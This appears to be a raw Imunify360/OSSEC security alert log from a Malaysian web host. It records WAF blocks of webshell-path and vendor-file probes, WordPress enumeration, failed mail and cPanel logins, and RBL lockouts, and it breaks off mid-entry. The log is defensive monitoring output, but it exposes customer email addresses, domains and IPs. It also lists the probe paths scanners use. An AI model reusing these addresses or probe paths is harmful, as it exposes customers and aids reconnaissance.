plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.225
country_id: 2921044
domain: advisorygroup.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:advi3535||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.193
country_id: 2921044
domain: aoto.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:aotocom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.191
country_id: 2921044
domain: mokshana.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:mokshanacom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.95
country_id: 3469034
description:
Jan 21 17:40:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 17:41:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 17:42:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 17:44:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.88.56.141
country_id: 1269750
domain: www.tptec.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tptec.com.my/lube-filter.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.174.198.84
country_id: 3469034
description:
2026-01-21 17:49:14 dovecot_plain authenticator failed for H=(1dt396xtp8i6g9zzd8sbcd1tub) [200.174.198.84]:54782: 535 Incorrect authentication data (set_id=2096jasonkua@printspecsolution.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-21 17:49:05 H=([62.60.130.227]) [62.60.130.227]:60568 F=<noreply@customer.box.com> rejected RCPT <prayerlink@agpc.org.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.174.198.84
country_id: 3469034
description:
Jan 21 17:49:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.174.198.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 17:50:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53612: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 17:50:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12805: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-us/images/sliders/faq.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 17:52:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21512: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 17:53:21 H=([45.144.212.242]) [45.144.212.242]:49922 F=<no_reply@admin.com> rejected RCPT <boolan@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.105.141.222
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/fzaninotto/faker/src/Faker/ORM/Propel/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 17:54:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.229.232.92
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/fzaninotto/faker/src/Faker/ORM/Propel HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.128.86.201
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/global-state/src/Blacklist.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.181.175.32
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/twocol4.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.1.37.11
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/gallery4.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.51.217.130
country_id: 1269750
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/twocol3.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.42.91.63
country_id: 1269750
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/hom4.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.26.63.214
country_id: 1562822
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/hom1.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.237.167.99
country_id: 99237
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/gallery2.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.63.236.166
country_id: 3439705
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/hom3.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.228.120.83
country_id: 1562822
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/gallery3.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.183.244.225
country_id: 1269750
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/hom2.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.242.163.47
country_id: 953987
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/site/img/gallery1.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.158.158.9
country_id: 1210997
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.150
country_id: 1733045
description:
[2026-01-21 18:02:02 +0800] info [webmaild] 27.125.240.150 - jlpom@ajplantations.com.my "POST /cpsess4402760254/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.150
country_id: 1733045
description:
[2026-01-21 18:03:03 +0800] info [webmaild] 27.125.240.150 - jlpom@ajplantations.com.my "POST /cpsess4402760254/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.150
country_id: 1733045
description:
[2026-01-21 18:04:03 +0800] info [webmaild] 27.125.240.150 - jlpom@ajplantations.com.my "POST /cpsess4402760254/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.160.182.76
country_id: 953987
description:
Jan 21 18:04:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.160.182.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 18:05:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.9.150.182
country_id: 1733045
description:
[2026-01-21 18:06:04 +0800] info [webmaild] 1.9.150.182 - ethenchen@ms-chemicals.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 18:08:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.22.190.133
country_id: 1814991
description:
Jan 21 18:08:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.22.190.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.22.190.133
country_id: 1814991
description:
Jan 21 18:09:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.22.190.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 18:09:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.150.154.235
country_id: 1835841
description:
Jan 21 18:09:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.150.154.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 18:09:02 H=([45.144.212.242]) [45.144.212.242]:57099 F=<no_reply@admin.com> rejected RCPT <carol@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.102
country_id: 3469034
description:
Jan 21 18:10:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.150.154.235
country_id: 1835841
description:
Jan 21 18:09:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.150.154.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.167
country_id: 1269750
description:
Jan 21 18:10:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 18:11:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.143.178
country_id: 1269750
description:
Jan 21 18:11:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.143.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 199.101.196.243
country_id: 6252001
description:
2026-01-21 18:12:56 dovecot_login authenticator failed for H=(localhost) [199.101.196.243]:5563: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.22.190.133
country_id: 1814991
description:
Jan 21 18:12:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.22.190.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.76.131.148
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=70111515551200 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 18:13:47 H=([45.144.212.242]) [45.144.212.242]:61204 F=<no_reply@admin.com> rejected RCPT <celine@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 18:14:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.24.191
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=78001708731070 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.154.92.163
country_id: 2017370
description:
Jan 21 18:16:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.154.92.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.154.92.163
country_id: 2017370
description:
2026-01-21 18:16:24 dovecot_login authenticator failed for H=([194.154.92.163]) [194.154.92.163]:59990: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.28
country_id: 1269750
description:
Jan 21 18:17:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.93
country_id: 1269750
description:
Jan 21 18:17:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.93 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ksong@ms-chemicals.net [01/21/2026:10:18:19 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ksong@ms-chemicals.net


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 18:18:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53893: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.239.159.100
country_id: 1562822
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/about.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 18:18:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 18:18:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12808: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 18:19:21 sv3 pure-ftpd[3267501]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: modsec
rule: 77220020
name: IM360 WAF: DoS vulnerability in Apache 2.2.17 - 2.2.21 (CVE-2012-0021)
abuser: 82.36.50.88
country_id: 2635167
domain: inter-link.edu.my
description:
IM360 WAF: DoS vulnerability in Apache 2.2.17 - 2.2.21 (CVE-2012-0021)||MVN:REQUEST_URI||MV:/contact||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 18:19:23 sv3 pure-ftpd[3267501]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.21.105
country_id: 6251999
description:
2026-01-21 18:19:27 dovecot_plain authenticator failed for H=([10.6.230.167]) [140.228.21.105]:16734: 535 Incorrect authentication data (set_id=project@tujusetia.my)


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 21 18:19:37 sv3 pure-ftpd[3267501]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1054_Dial-An_Instalment_eDM/images/banner.jpg


plugin: modsec
rule: 77220020
name: IM360 WAF: DoS vulnerability in Apache 2.2.17 - 2.2.21 (CVE-2012-0021)
abuser: 82.36.50.88
country_id: 2635167
domain: www.inter-link.edu.my
description:
IM360 WAF: DoS vulnerability in Apache 2.2.17 - 2.2.21 (CVE-2012-0021)||MVN:REQUEST_URI||MV:/contact-us||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 18:20:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:22079: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.19
country_id: 2510769
description:
Jan 21 18:20:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.85
country_id: 3469034
description:
Jan 21 18:23:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.85 has been locked due to Imunify RBL


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.75.54.91
country_id: 6252001
domain: mamstg.manforce.net
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.64||T:APACHE||REQUEST_URI:/cgi-sys/ea-php74/index.php/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.198
country_id: 3175395
description:
Jan 21 18:23:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 128.106.168.241
country_id: 1880251
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul style=\"margin-top: 0in;\" type=\"disc\">\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">update report for export &amp; import schedule (new order &amp; update existing order).&nbsp;</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">request final bl from bvt.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up telex release with anl.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up shipment status with demeter for hkjc order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">arrange container truck in with hk awards.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">vet draft docs from whitby.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">vet draft docs from demeter.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\">share cipl to tsb for green channel shipment.</li>\r\n</ul>||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.5.53.50
country_id: 3017382
description:
2026-01-21 18:26:05 dovecot_login authenticator failed for H=(localhost) [194.5.53.50]:48133: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.222.154
country_id: 248816
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/umbrella/10/42/1085534 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 18:27:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 18:27:57 H=([45.144.212.242]) [45.144.212.242]:54983 F=<no_reply@admin.com> rejected RCPT <cklee@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.124.2
country_id: 226074
description:
Jan 21 18:28:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.124.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.238.40.243
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-29.104.238.40.243||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.9.150.182
country_id: 1733045
description:
[2026-01-21 18:30:26 +0800] info [webmaild] 1.9.150.182 - ethenchen@ms-chemicals.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.9.150.182
country_id: 1733045
description:
[2026-01-21 18:31:08 +0800] info [webmaild] 1.9.150.182 - ethenchen@ms-chemicals.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.253.137
country_id: 248816
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/doctrine/annotations/lib/Doctrine/Common/Annotations/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 18:32:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 117.168.122.174
country_id: 1814991
domain: www.wcc.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.wcc.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.49.146.140
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/doctrine/annotations/lib/Doctrine/Common/Annotations HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 18:33:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.9.150.182
country_id: 1733045
description:
[2026-01-21 18:35:06 +0800] info [webmaild] 1.9.150.182 - ethenchen@ms-chemicals.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
